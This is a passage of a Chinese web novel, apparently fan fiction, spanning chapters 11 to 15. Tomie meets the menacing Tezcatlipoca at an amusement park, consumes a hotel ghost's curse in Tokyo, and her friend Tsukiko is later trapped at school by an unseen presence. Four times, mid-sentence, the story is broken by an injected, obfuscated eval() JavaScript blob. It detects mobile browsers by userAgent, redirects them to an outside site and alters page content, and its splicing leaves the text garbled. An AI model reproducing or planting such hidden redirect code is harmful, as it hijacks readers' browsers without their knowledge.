男人的眉毛挑了起来:“哦?朋友?你?” “嗯,我和月子一起来的游乐园,但走散了。”没听出来对方口气中的揶揄,富江自顾自地说着。“但我们约好如果走散了就去约定的地方会合,你快松开我。” “约定的地点在哪?” 见对方没有松手的意思,富江撇撇嘴:“入口那边的商店街。” “现在就去?” “下午四点在那见就好。” “那万一你朋友把你丢在这自己走了呢?” 这下富江不乐意了,开始用手推对方,试图从怀里挣脱出来:“月子才不会丢下我,我们是一起来的。” 男人看着她的举动,突然笑了起来。 “特斯卡特利波卡。” “诶?” “你不是问我是谁吗?记住了,我只说一次。” 奇妙的是,当男人报出自己的名字时,他带给富江的,那种虚无缥缈的感觉淡了很多。 关键是名字吗? 女孩若有所思,而她的行为显然取悦到了特斯卡特利波卡。 “学习能力不错嘛,我报出名字后就能迅速抓住其中的关键,挺好。” 说着,他抓起富江,往另一个方向走去。 “你要带我去哪?” “反正距离你和朋友会合还有段时间,陪我转转吧。”说着,他侧头看了一眼富江。“还是说,你更乐意让我见到你那位人类朋友?” 富江咬住下唇,和这男人见面甚至不到一小时,她就已经获取到了许多新鲜的情绪体验,有好的,也有不好的。 比如现在,虽然不知道为什么,但她就是不想让男人见到月子。 “……好吧,我陪着你。那你就不要找月子了。” “好啊。” “还有,你告诉了我你的名字,但没有告诉我你是谁。” 她指的其实是独属于此人的身份。不知为何,富江就是觉得这个名字又长又难念的家伙,和普通人类不太一样。 但究竟是哪里不同,她却又说不上来。 总之,感觉很憋屈。 “知道那个名字就可以了,至于我是谁……如果按照这个成长速度,不久之后你自然就会知晓。” 真是个奇妙的家伙。行事自由,不带任何多余的情感因素,态度高高在上,却感觉不到轻蔑。 富江能感受到,对方并不喜欢自己,却又有一种浓烈的好奇心。 “好吧,我就相信你。” 她也起了兴趣,步子迈得大了些,跟上对方的脚步。 “那我们现在去玩什么?” 结果最后,两人一起去了“爱丽丝的茶话会”。 说是茶话会,其实就是坐在巨大的茶杯里,随着音乐旋转。 茶杯很漂亮,音乐很好听,周围描绘的,爱丽丝与梦幻王国中的小伙伴们也很可爱。周围的游客们脸上都洋溢着笑容,唯有富江,看着那不断旋转的茶杯,露出了疑惑的神情。 “在想什么?” “为什么大家坐在茶杯里会那么开心?”她乌黑的眼睛定定地注视着被装饰得精致的旋转茶杯座椅。“也不是这个茶会的主人,大家最后都要被吃掉的。” 如果是泉泽月子站在旁边,这会儿可能就会被她逗笑了。 但现在,站在富江面前的,是特斯卡特利波卡,一个身分不明, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309688|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却知道“富江”到底是什么东西的神秘人。 “哦?原来你是这样看待这个游戏的。” 他显得兴致勃勃,一边跟着人流走,一边继续问。 “是从哪里听来的说法吗?” 富江摇摇头。 “也就是说,这是你自己的想法。哼,看来你的本性比我想象的还要糟糕一点。” 言谈之间,二人已经走到了入口,在一旁工作人员惊艳的目光下,一同登上了可爱的旋转茶杯。 “那么,聊聊你的朋友吧。叫什么来着?” “月子。”富江瞪着男人,“聊这个干什么?” 欢快的音乐声响起,茶杯开始缓缓动起来。 “放心,我对她没兴趣。”特斯卡特利波卡靠在椅子上,脸上带着些许笑意。“但我对你的态度很感兴趣,想知道为什么你会这么喜欢那个人类。” 富江放松了下来,她不想让特斯卡特利波卡见到朋友,但要说好友的优点,她还是愿意的,毕竟平时也没其他朋友,家里的人也不会对这个感兴趣。 “因为月子对我很好呀!” 女孩立刻开始兴致勃勃,滔滔不绝地讲述起两人相识的经历,甚至还包括遇险时,月子奋不顾身让她先走的事情。 “那时候她腿都伤了,但还是抱住了对方的腿让我快跑,哦对,还有录像带,也是一开始就不想让我接触。” 一般的女孩子都嫉妒川上富江,哪怕变成她之后也是,依然弥漫着一股美味的恶意。 唯独泉泽月子,虽然有些嫉妒自己喜欢的人心仪她,也在和她交好之后,把那份负面情绪压了下去。 “你知道她为什么会这么做吗?” 从诞生之初,她接触到的人类的情绪,就一直弥漫着诱人的食物的香气。 每个人或多或少都会散发一些,大多数都会在和她交往的过程中,逐渐加深。 唯独泉泽月子,很少见的身上的香气在逐渐减弱。 但即使减弱了,富江也并没有觉得自己对月子失去了兴趣。正好相反,每次看到这位好朋友,她心中都会泛起全新的喜爱之情。 是那种很奇妙的,不带有食欲的,想要珍惜地捧在手中,反复观看的情绪。 “……” 特斯卡特利波卡没有说话,专注地打量着富江。 “连你也不知道?” “只是因为她是个无聊的好人而已。” 富江嘟起嘴:“月子才不无聊,我们的旅行计划还是她定制的。” “我说她无聊,是指,她这样的人无法让你成长。”青年不可置否,“跟在那女孩身边,你将永远都是一个什么都不知道的幼崽,无法成长,也无法蜕变。” “不好吗?” “对你当然不好,对我们来说反而是好事。” 茶杯不断旋转,周围传来孩子们的欢声笑语。 特斯卡特利波卡坐起身,那张英俊的脸距离富江一下变得很近:“但,这就太无聊了。” 他勾起嘴角,摘下了墨镜。那双蓝色的眼睛中,飘散着点点光辉。 从认识到现在,宛如迷雾一般的男人,终于露出了属于自己的一点本心。 “杀掉现在的你,真的会让人一点成就感都没有。” 12. 第 12 章 “这才是你的目的?” 欢乐的音乐声,孩童们的笑闹声在耳边回响,富江丝毫没有害怕,反而有些疑惑。 “我们今天才认识,为什么要杀我?又打算怎么杀我呢?” “你看,所以我说无聊至极啊。”金发男摇摇头,甚至叹了口气。“探知到了我的杀意,却连一丝恐惧或是抵抗的情绪都没有,只有好奇,你是连死亡都未曾只晓的‘半成品’。” “这样的你,不值得我动手。” 感觉好像被轻视了,但富江却并不生气。 不如说,从拥有自我到现在,她从未如此好奇过。自己的来历,对方要杀死自己的原因,以及杀死自己的方式。 就像是看过的无数电影那样,线索不断延伸,主人公不断抽丝剥茧,最终形成一个完满的故事。 可能对她来说,这个故事的主题就是“我是谁”吧。 “那什么样的我才值得你动手?” “至少不是现在这样的。” 富江皱起眉,她总觉得对方在故意跟自己绕圈子:“你在逗我?” 她的话让特斯卡特利波卡哈哈大笑了起来:“不错嘛,还挺敏锐的。是啊,坦白说我也不知道什么样的你才值得我动手。嘛,走一步看一步好了。” 虽然见的人和事不多,但到这个程度,就连富江本人也多少有点察觉到了。 眼前的男人是如此的随心所欲,比她见过的任何一个人类都要捉摸不定,甚至可以说是有点喜怒无常。 就如同他给她带来的第一感觉那般,宛如捉摸不定的烟雾。 这个人……真的是人类吗? “哦,不错嘛,和我聊了之后立刻就产生了新的情绪。” 茶杯停止转动,爱丽丝的茶会结束了。特斯卡特利波卡站起身,满意地摸了摸富江的头。 “记住现在的心情,这对你的成长是必不可少的。” 虽然口口声声说要杀死自己,但男人的手却干爽又温暖,抚摸的力道也恰到好处。 她甚至有些喜欢那种触感。 “走吧,我送你去商店街。” 金发青年态度绅士地挽起富江的手,将她带离熙攘的人群,一路送到了位于大门口处的商业中心。 距离约定的时间尚早,月子还没到。 特斯卡特利波卡也没有离开,和富江一起沿着商店街的橱窗,边看边漫步。 游乐园的商店街也和外头的不太一样,不管是店面装饰还是里面卖的东西,都充满了梦幻乐园的风味。 在一家糖果点心店的橱窗前,女孩停下脚步。 “哇……” 可能是为了贴合店铺的主题,橱窗里的各式糖果,被做成了珠宝和饰品的样子。 水果硬糖做的宝石盛在由玻璃吹制的高脚杯中,在灯光的照耀下,五光十色,璀璨异常。另一边,带着粉色花边的贝壳盘子上,则堆满了被做成珍珠样式的糖果,仔细一看,似乎是巧克力。 富江隔着玻璃,抚摸着这些精致的点心。她对这些没什么兴趣,却记得月子似乎很喜欢。 虽然对方没承认,但早上入场,路过这些橱窗的时候,她看到了朋友露出了惊艳的眼神。 “你很喜欢这些?” “月子好像很喜欢。” 话一出口,富江直起身看向青年。 “这些东西做得亮晶晶的,很好看,很多人都喜欢。就是,不是想吃掉的那种。” 怎么说呢,她有点理解这种感觉。 不是为了填饱肚子,或是品尝珍馐。而是另一种,只要看着,把它们捧在手心里看,就会很开心满足的感觉。 “确实,人类喜欢珠宝,美丽的工艺品,有时候也并非是为了财富,而是单纯的追求一些自己认为美的东西。” 特斯卡特利波卡伸出手,修长的手指勾起富江的长发,轻轻捻着。 “但宝石这东西可是很脆弱的。哪怕是钻石,遇到打击,该碎的时候也会碎得四分五裂。” “……不能修好吗?” 男人嗤笑了一声:“世间万物都有自己的法则,你又如何确定,修复之后的宝石还是你爱着的宝石呢?” 话音刚落,金发青年忽然伸手,将富江轻轻拉进自己怀中。在旁人看来,他们进行了一个亲密无间的拥抱。 实际上只有富江知道,也只有她能看到,青年藏在墨镜下的那双蓝瞳中,没有一丝情感。 “玩耍也要记得度,过头了可能会招致你自己都不想看到的后果。” 特斯卡特利波卡将头轻轻凑到富江耳边,他的声音有些低沉,吐息吹在女孩的脖颈间,带来丝丝痒意。 “记住这个道理,我的女孩。” 语毕,他松手退开,朝富江微微俯身,鞠了一躬。 “富江!” 泉泽月子的声音从身后传来,长发女孩转过身,看到了手里拿着两瓶水的好友。 “太好了,我还担心你不在这等着该怎么办呢。” “月子……”富江回头,身后是熙熙攘攘的人群,特斯卡特利波卡已然消失无踪。 “怎么啦?” 而她的朋友,泉泽月子则浑然未觉,反倒是很担心地看着她。 “对了,我们走散的时候没人来骚扰你吧?” 和富江走在路上来搭讪的男的都络绎不绝,月子根本不敢想她落单会遇到什么事。所以俩人被人群一冲散,她就过来这边等着。 左等右等不见人,她本来都打算再等三十分钟,到点了还不见人的话就去游乐园广播室求助的。 不过月子并不打算把这些告诉富江。 “嗯,遇到了一个奇怪的家伙。” “啊——!果然!没事吧?什么奇怪的人,需要报警吗?” 川上富江摇摇头:“是个奇怪的外国人,带我去玩了爱丽丝的茶话会。” “……然后?” “把我送过来就走啦。” 月子拧起眉头:“啊?就这样?” 听上去……也不算是什么坏人? “嗯,但我不喜欢那家伙。” 月子瞪着富江,像是见到了什么神奇的东西。 毕竟她这位朋友,反正自从俩人认识吧,就没见这姑娘真的说过谁的坏话,哪怕是和她关系很差的本乡。 “好难得啊,听见你说不喜欢谁。”月子把水塞到富江手上。“对方有做什么冒犯你的事情吗?要不我们还是去找园里的安保部门吧。” “冒犯?” 月子红着脸跺跺脚:“诶呀!就,就比如摸了你的屁股,或者其他什么不该碰的地方,学校里老师教过的!” 要说肢体接触肯定是有的,但特斯卡特利波卡的接触完全不带有任何多余的情感。 所以富江摇头,告诉月子并没有这些。 “我不喜欢他只是因为他也不喜欢我而已。” 说完,她亲昵地挽起好友的胳膊:“我还是更喜欢月子啦。” “诶呀你真的好肉麻!好啦松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14311293|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开我,热死了。” 距离关园时间还早,两个女孩又一次有说有笑地并肩走在了一起。她们还要等晚上的烟花,肯定不会这时候就离开游乐园。 ------------------------------------- 而在二人背后不远处,熙攘的人群中,一个金色头发,身材高挑,戴着墨镜的外国男性,正默默注视着离去的两个女孩的身影。 川上富江没有注意到他。 那是当然的,只要青年想,便能消去自己的存在感。 最顶级的杀手都无法感知到他,那个尚未蜕变的小姑娘就更别提了。 正在这时,他怀中响起了电铃声。 青年干脆地掏出手机,接通了来电。 “喂,是我。” 电话那头传来了男人吞吞吐吐的说话声,并非日语,而是英语。 这通跨国长途来自美洲大陆,也是特斯卡特利波卡的老家。 “这点小事还要给我打电话?” 听完手下的汇报,他挑起眉,熟练地用英文与对方交流起来。 “那群家伙摆明了是想试探,既然他们这么不想做生意,那我们就另寻买家。” 说完,不等对方诉苦,他干脆地挂掉了电话。 黑发女孩的身影早已消失,特斯卡特利波卡认真地端详起了熙熙攘攘的人群。 游乐园中的人们还笑着闹着,排着队和套着玩偶服的工作人员合影。 像是无知的羔羊。 如今的世界,和平了太久,久得人们忘记了诸神历史,忘记了自然的强大,也忘记了本应刻在血脉中的争斗与掠夺。 一言蔽之,有点无聊。 但,若是那个藏在躯壳之内的怪物羽化了呢? 半晌,男人笑了起来,转身毫无留恋地离开了这虚假的梦幻游乐园。 ------------------------------------- 总之,撇开失散和被不明人士搭讪的小插曲,富江和月子今天在游乐园玩得很开心。 她俩一直待到晚上,看完了城堡的烟花,才跟随人流踏上了回去的电车。 不得不说东京真的是热闹的大城市,同样的时间,要是她们住的小镇,这个点外头早就没人了。 但等月子和富江到住着的酒店附近,马路上依然车水马龙,霓虹灯的光把夜里的街道照得清清楚楚。 “唉,我可总算明白为什么爸爸老让我考到东京来了。” 回酒店前,她们还在附近的便利店买了点宵夜的小点心和明天早饭吃的面包。 “不过东京的学校也很难考,这下回去要努力学习了。” 富江替月子接过装着吃的的塑料袋,闻言笑呵呵地接了一句:“好呀,那我们一起努力学习。” 之前两个女孩就说好了,要一起考到东京。 二人嬉笑着踏进了酒店,但一进去,月子就打了个寒颤,倒吸一口气。 “嘶,怎么这么冷?” 外头是还有一些闷热的三伏天,但酒店内可能是空调冷气太足的原因,温度低得宛如冰窖,女孩身上的那点热度也都一下消散了。 她忍不住打了个喷嚏,也就没注意到富江脸上的笑容消失了。 浓烈的黑气布满整个酒店大堂,缠绕在所有进出于酒店的人身上,她们二人自然也没逃过,一进门就被扑面而来的黑气缠绕。 这才是月子感觉到冷的原因。 13. 第13章 其实早上这些黑气就存在了,发生了命案,这地方有黑气很正常。但她们玩了一天回来,这些早上还薄薄一层的黑气居然已经扩张到了如此规模! 川上富江脸上的笑容淡了一些,挽住了好友的手。 在这一举动下,那些试图侵入二人身体的黑气都被吸入到了她体内。 富江也不是没见过这种东西,但以如此速度增长的,却是头一次看到。 脑中闪过那怨念缭绕的宅邸,以及深夜追踪到酒店,引诱月子出门的少年。 当时要不是富江赶到逃生通道,被强力的怨念伤害到的人,恐怕就是…… 想到这,女孩抱着朋友的胳膊又紧了紧。 月子倒是一无所觉,只是黑气被富江吸收后,她觉得没那么冷了。 二人乘坐电梯上到所在楼层,一开门,滚滚带着冷意的黑气继续扑面而来。 这里的怨念比大堂更强,空气中甚至已经开始弥漫一些奇妙的像是铁锈一般的味道了。 虽然才刚接触这个世界没多久,但富江对于怨念和负面能量有一种本能的熟悉感。若是已经能够将气味感知或是影像具现化,说明这股负面能量已经强大到了一个地步。 诅咒的录像带,能够杀人的怨灵就是很好的例子。 “楼上也好冷啊,而且怎么感觉走廊有股味道?” 说着,月子用手挡住鼻子。 “保洁没有打扫吗?还是通风不好,好讨厌啊……” 和保洁无关,也不是因为酒店通风不好才会有这种异味。 是因为,那个昨夜惨死在酒店中的人,此刻就趴在这道走廊上。 可能是因为死法过于凄惨,那灵魂已经被怨念缠绕。它浑身鲜血,因为四肢被扭曲折断,完全无法站立,只能在走廊里爬来爬去。 富江眯起眼,怨灵的腰部似乎是受到过重击,已经彻底塌下去,大片大片的血液不断从这些伤口中渗出,被涂抹在长廊的地板,墙壁,甚至天花板上。 泉泽月子无知无觉,甚至没有看到那些爬动留下的血迹,和富江肩并肩走出电梯,往她们的房间走去。 鬼影距离她们还有段距离,它发出奇妙的喃喃声,手指抠在紧闭的客房大门上,同时,黑气也在不断地往里渗入。 金发男人的话再度回荡在富江脑海中。 “宝石这东西可是很脆弱的。” 她的手指动了一下,身后影子的颜色忽然变得深了起来。 “啊——总算回来了,好累啊!” 月子打开大门,发出了一声欢呼,两个女生一前一后进了房间。 把门关上之前,富江最后瞥了一眼不远处的那个怨灵。 发出了这么大的声音,对方也没什么反应,依然缓慢地胡乱爬行着。显然与她所认识的山村贞子,以及那晚看到的小男孩不同。 但,就像那个男人说的一样,宝石很脆弱。 所以,还是看紧一点,小心一点比较好。 屋内的灯光明亮而温暖,长发女孩背过手,乖巧地看着好友把行李放好,拿衣服准备去洗漱。 浴室响起了水声,富江笑了笑,转身开始收拾自己的行李。灯光未达到的阴影中,有什么东西在她漆黑的影子中蠕动着,逐渐扩散在地毯上,最终又无声无息地消失。 女孩们明天的行程也拍得挺满,洗完澡便关灯休息了。 夜晚的酒店依旧灯火辉煌,矗立在安静的钢铁森林中。 当指针指向十二点的那一刻,弥漫在酒店内部的黑气达到了顶峰。同时,躺在床上,本应同样陷入梦乡的富江睁开了眼。 刹那间,每一层酒店的天花板上,开始不断滴落奇妙的,黑红色的泥。 说是“泥”倒也不准确,因为它就像是有生命一样,在接触到黑气的瞬间,便会张开类似口一样的器官,大口大口地吞噬。 即使是那个在走廊不断徘徊的怨灵也无法幸免,这些“泥”一接触到它,就变得更加活跃,毫不留情地将尚未获得理智的灵体吃了个干净。 吞噬了黑气,这些黑红色的,不断蠕动,又鼓着泡的“泥”便会继续增长,无声无息地蔓延到更远的角落。 而这些,位于酒店内,还醒着的普通人是看不见的。 就算是能力较强的灵能力者,这时候待在酒店中,感知也会被无限模糊化,只能察觉到原本堆积在内部的黑气正在不断消失。 黑气越来越少,那些活着的“泥”却增殖得越来越多,最后,它们包裹到了大楼内的每个角落。 那些积攒残留在酒店中的,自修建以来的工人,员工,顾客们留下来的负面能量,也被宛如清道夫的它们吃得干干净净。 富江仰躺在床上,深深地吸了一口气。 她的眼前闪过许多景象,也听到了许多声音,有久远的过去的,也有昨天的。 在这些嘈杂的景象中,富江找到了自己想看的东西。 她和月子昨天晚上离开后,那个没穿衣服的小男孩并没有离开逃生楼梯,而是在里面玩耍了起来。 他似乎是想找什么东西,但独自玩耍了很久也没找到。 后来大概是到了凌晨吧,有值班工作人员从下方进入了逃生楼梯,然后就在另一层的拐角撞上了这个没穿衣服的小少年。 那人先是吓了一跳,接着就想掏出手机,应该是想跟其他工作人员联系。 也就是这么时候,浓郁的黑气忽然出现在了楼道之上—— 富江眯起眼,想要更仔细地看清黑气之中潜藏的人影。 隐隐约约,像是个披头散发的女人。 相比她,那个倒霉的工作人员就直观多了,他大概是看到了对方的真容,顿时吓得瘫倒在地! 黑气没有给他逃跑的机会,迅速包裹住了他。 耳边响起什么东西被折断的声音,大概是那个倒霉蛋的骨头。随后,富江听见了一道奇妙的声音。 像是谁想说话但又说不出来,声音被撕扯过,只能发出一些类似管乐破损时漏风的咯咯声。 黑气散去,鲜血洒满楼道。被吞噬的员工已经死了,四肢折断,腰部也被拧转了一百八十度。 后来的事情就和富江猜得差不多了,酒店的人发现了惨死的员工,慌忙之下报了警。 但因为诡异的死状,他们隐瞒了一部分实情,谎称有客人急病发作才发生了命案。 而那些黑色的诅咒和怨念也并没有离开,惨死之人的灵魂并没有消散,而是在它们的包裹下,化作怨灵。 它的四肢被折断了,腰被扭转了一百八十度无法动弹,只能用仅剩的手腕,一点点地从逃生楼道爬出去。 富江睁开眼睛。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14321666|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >房间内弥漫着淡淡的,女孩子们使用的香水的气味。 她一动不动地看着天花板,身旁是睡得正香的泉泽月子。 如果没人阻止咒怨继续滋生,以那个怨灵的成长速度,大概过不了几天,它就会开始杀人。 或直接在酒店动手,或将怨念洒落在无知无绝的人类身上,进一步扩散它。 而如今,整栋大楼的怨念已不复存在。 富江无声地勾起嘴角,笑了。 因为那强烈的负面情绪实在是甜美,就像是散发着香气,洒着糖粉的某款蛋糕。又像是保子小姐在家里烹调的,浓郁又鲜美的奶油炖菜。 只是,这甜点实在是太小,她甚至没能好好细品。小心翼翼地一口一口吃,也没能吃多久,很快就干干净净了。 富江撅起嘴。 明明是想填饱肚子的,为什么现在更饿了呢? 身旁的月子睡得很沉,身体有节奏地起伏着。女孩的身体暖呼呼的,带着淡淡的玫瑰香味。 富江知道那个味道,是月子喜欢的洗发水的香味。 饥饿并没有消退,相反,心中腾升起了一种奇妙的空虚感。 与饥饿感交汇在一起,富江觉得自己的身体像是多了一个洞,空空的,只有空气不断地灌进去。 那种感觉越来越重,到最后,富江甚至坐起身,看向熟睡的月子,然后,缓缓靠近—— 她的眼中有黑红色的东西在涌动,鼻子动了动,却只从友人的身上捕捉到了沐浴液的甜香,以及那股属于活人的气味。 而泉泽月子对此一无所觉,今天在游乐园跑了一天,再加上前一晚的惊吓,她睡得很沉,甚至连梦都没做。 富江直勾勾地看着朋友熟睡的脸,半晌,笑了一下,转身下了床。 果然,月子身上没有她想吃的食物的味道。 一点点都没有。 看着月子,她甚至无法升起除了爱惜之外的其他感觉。 那这份空虚的感觉,这份饥饿感又如何填补呢? 她漫无目的地在屋子里乱走,最后来到窗边,钻进了厚厚的窗帘里。 帘子的另一头,是这间豪华客房的落地窗,客人们可以通过这扇窗户,观赏整个东京的夜景。 夜已深,灰色的钢铁森林中闪烁着无数霓虹灯。路灯则将道路照耀成了一条条橙色的光带,延伸向远处。 富江趴在玻璃上,百无聊赖地看着,忽然,她的目光停在了某个点上。 酒店大楼对面的商务大楼顶,站着一个人。 夜风吹散了那人金色的长发,闪烁的灯牌给他的身形勾勒了一道浅色的边。 是特斯卡特利波卡。 即使两边相隔了如此距离,富江也能感觉到,对方在看这栋大楼,在看自己。 什么时候被跟上的? 什么时候开始站在这里看的? 女孩瞪大眼睛,一眨不眨地盯着对方。 特斯卡特利波卡似乎也察觉到了,甚至伸出两根手指朝她的方向打了个招呼。 随后,他潇洒地转过身,消失在了她面前。 好奇心涌了出来,开始不断填满身体上的空洞。 富江笑了起来。 所以,这份空虚,这份饥饿感,能靠他来填满吗? 她很期待他们的下一次见面。 14. 第 14 章 那一夜后,二人的东京之旅再无波折。 不管是咒怨的黑气,还是能看破富江的神秘异国男人都不再出现,就像只是做了一场梦一般。 女孩们度过了一个平安快乐的暑假。 一转眼到了九月底,学校开学,这次,月子和富江分到了一个班。 这下富江可高兴坏了,以前在别的班她就喜欢粘着月子,分到一个班以后两人甚至座位都被调得很近。 至于月子,她也早就习惯平时有富江围在身边,原本的那点成见早就随着东京之旅结束被烟消云散。 不过,东京之行后月子下定决心要考去东京的大学,拉着富江一头栽进了知识的海洋里。 “我倒觉得月子不用这么焦虑哦。” 到最后就连富江也安慰她。 “现在离大学考试还远,而且东京周边的学校也可以放到考虑范围以内嘛,神奈川和千叶之类的。” 月子烦躁地揉了揉头发:“说是这么说,但还是很担心啊,万一我连周边的大学都考不上呢!” “那也还有一年的时间。” 月子抬起头,忽然捏了捏朋友的脸:“还有你也是,都说了要好好学习了,也别天天发楞了哦。” “嘿嘿……” “啊对了,还记得我们上次去东京拍的照片吗?” 说着,女孩从书包里掏出了几枚胶卷。 “好不容易约到了相馆的老板洗照片,今天一起去吧。” 富江眨眨眼:“那钱我来——” “不行!”月子又改为戳女孩的脸颊,“酒店的费用就是你出的,还给我爸妈买了礼物,照片的钱我来付!” 女孩放下了豪言壮语,谁知刚过中午,班主任就通知了富江一个很不好的消息。 她的父亲又住院了。 身为管家的小泉凌可能是为了避嫌吧,向来不会在那个家久呆着,这次自然也是不在。 还是身为女佣的保子小姐比较细心,发现老人身体不适便赶忙拨打了电话。 家里唯一一个和老人有法律上亲子关系的就是富江,她自然是请了假要去医院。 下午去照相馆的人就只剩下了月子一个。 “那也没办法,伯父住院了不是吗?” 虽然心里遗憾,但月子还是在朋友离开前安慰了她。 “快去吧,家人更重要一些,照片洗好了我送一份给你。” 富江皱起眉头,稍稍有些迟疑。 环顾四周,教室里那一股淡淡的,从同班同学身上散发出的恶意的味道一如既往。 今天是个晴天,碧蓝的天空上浮着一朵朵白云,像是棉花糖一般。 小镇看上去非常平静,并没有什么异常。 自打在东京吞噬掉那些诅咒后至今,女孩子们的身边一派祥和,甚至连网络上的那种很盛行的怪谈最近都没怎么听到新的了。 “……好吧,爸爸没事了我会给你打电话的。” 于是女孩放松了警惕。 闺蜜二人组缺了一个人,另一人下午在学校的时光就开始变得无聊起来。 而且人一旦全神贯注地开始做某件事,反而会忽略很多平时顾虑的东西。就比如月子,富江不在了,她才恍然发现,自己好像已经因为和富江走太近,被班上很多女生无形孤立了起来。 就算下课她一个人坐在座位上,周围也会出现一个很明显的,和他人之间的,空旷的隔离带。 虽然富江的美丽依然动人心魄,也有不少男生明着暗着对她有好感。但诅咒录像带事件之后,前来骚扰她们的人确实少了。 ……但感觉也还行,比起被孤立被另眼相待,月子更发愁东京各个大学的偏差值。 女孩干脆地摇了摇头,把烦心事甩在脑后,继续专心做笔记听课。 时间过得飞快,转眼间就到了放学。 泉泽月子飞快地收拾好东西,和相熟的同学们道了别,脚步轻快地踏上了回家的路。 约好的照相馆恰好就在她回家的必经之路上,店主也是老熟人了。 一切看上去都那么顺理成章,唯一的小缺憾可能就是富江不在吧。 但等到了照相馆,和老板打完招呼开始掏东西的时候,她终于发现不对劲了。 今天特地从家里带出来的胶卷,居然消失了! “咦?不会吧,我特地带出来还装在侧面口袋里的!” 泉泽月子懊恼地抓乱了自己那头短发,在老板和善的目光中尴尬地把书包翻了个底朝天,却依然没找到那两卷小小的胶卷。 “别急别急。” 照相馆的老板是个脾气很好的中年大叔,也没有不耐烦,认真地帮月子回忆。 “你仔细想想,最后一次看到它们是什么时候?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345534|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她猛然想起自己早上和富江聊天的时候,其实把胶卷从书包里取出来过。 不会是那个时候不小心没放回去吧! 老板倒是很乐观,听了月子吞吞吐吐的道歉,很爽朗地和她约了明天的时间再来送胶卷。 毕竟这个时间点,她找到东西再从学校过来,天都要黑了。 狼狈地收拾好书包,和老板道了歉,月子连忙往学校跑。 女孩懊恼地咬住嘴唇,只恨自己太过马虎,不仅耽误了别人,还搞得这么尴尬。 夕阳西下,逢魔时刻。 泉泽月子重新回到了学校门口。 这座小城本来人就不多,这个时间点社团活动已经结束,学校里的学生早就走得差不多了。 校门口的保安大叔人很好,看到月子还问她发生了什么。 听完女孩的请求,大叔和善地挥挥手,放她进了学校。 谢过好心人,泉泽月子脚步不停,径直回到了自己所在的班级。 幸运的是,胶卷确实被放在了课桌抽屉里。 不幸的是,只有一个。 “不会吧————!!!” 这下月子可真要头大了。她赶紧趴下来,看看自己课桌周围的地面,只希望寻找到另一个胶卷的蛛丝马迹。 几秒钟后,隔着一条桌子腿,女孩看到了一个熟悉的小圆筒。 她估计是自己收拾东西的时候从课桌抽屉里掉出去,然后一路滚到那去的。 “太好了!” 月子轻声欢呼了一下,连忙趴得更低,试图用手够到距离自己不远的胶卷。 她努力地绷直指尖,撑着身体的手一点点挪动着,试图找到最合适的支点。 终于,那枚小小的胶卷终于被抓进手心。 但下一秒,还没来得及高兴,月子的另一只手就猛地摸到了什么冰凉又柔软的东西。 那东西凉凉的,表面光滑又柔软,但又带着点硬度。 就像是……什么人的脚背。 她的心猛得一颤,瞬间吓得抬起了身体。 然后只听“咚”得一声,后脑勺狠狠撞在了椅子上。 泉泽月子痛呼一声,眼泪都出来了,但也顾不上疼,手忙脚乱地从课桌椅子下面爬了出来。 然而,当月子站起身环顾四周时却发现—— 她的周围空无一人。 15. 第 15 章 夕阳渐渐落下,教室变得昏暗起来。 象征闭校的铃声响起,月子将胶卷攥在胸前。 “……错,错觉吧,应该是错觉……” 自己只是摸了一下,可能是把铁的桌腿误认成了人的脚背。 这么想着,她拿起书包,往教室的大门走。 但走到门口时,透过玻璃,女孩的余光猛然扫到了一个一闪而过的白影。 月子一惊,下意识拉开门。 走廊空荡荡的,只有夕阳的余晖落在墙壁上。 那种熟悉的毛骨悚然的感觉从脊椎下方窜了上来,女孩咬紧嘴唇,快步离开了教室。 她们的班级就在二楼,距离大门不远。 月子提心吊胆地走过楼道转角,没见到什么人,松了口气。 学校里巡查的老师,校门口知道她进来的保安大叔,以及还亮着的天色都给她提供了胆量。 只是那种毛毛的,像是被什么东西窥视的感觉却一直萦绕在女孩的心头。 她胡乱地把室内鞋塞进柜子里,脚往皮鞋里一蹬就往大门处蹿。 然后奇怪的事发生了—— “咦,怎么回事?” 泉泽月子努力推动把手,却发现自己怎么也打不开大门。 